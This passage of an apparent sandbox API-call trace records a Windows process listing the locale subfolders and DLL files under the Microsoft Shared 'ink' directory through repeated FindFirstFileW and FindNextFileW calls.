ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.491] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.491] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.491] GetLastError () returned 0x12 [0054.491] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.491] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.493] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.493] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0054.493] GetLastError () returned 0x12 [0054.493] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.494] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.494] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.494] GetLastError () returned 0x12 [0054.494] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.494] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.494] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.494] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0054.494] GetLastError () returned 0x12 [0054.494] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0054.494] GetLastError () returned 0x12 [0054.494] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0054.494] GetLastError () returned 0x12 [0054.494] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0054.494] GetLastError () returned 0x12 [0054.495] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0054.495] GetLastError () returned 0x12 [0054.495] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0054.495] GetLastError () returned 0x12 [0054.495] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0054.495] GetLastError () returned 0x12 [0054.495] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.495] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.495] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.495] GetLastError () returned 0x12 [0054.496] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.496] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.496] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.496] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0054.496] GetLastError () returned 0x12 [0054.496] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.496] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.496] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.496] GetLastError () returned 0x12 [0054.496] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.496] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.497] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.497] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0054.497] GetLastError () returned 0x12 [0054.497] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.498] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.498] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.498] GetLastError () returned 0x12 [0054.498] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.498] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.499] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.499] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0054.499] GetLastError () returned 0x12 [0054.499] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.499] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.499] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.499] GetLastError () returned 0x12 [0054.499] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.499] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.499] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.499] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0054.500] GetLastError () returned 0x12 [0054.500] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.500] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.500] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.500] GetLastError () returned 0x12 [0054.500] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.500] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.500] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.500] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0054.500] GetLastError () returned 0x12 [0054.500] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.501] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, 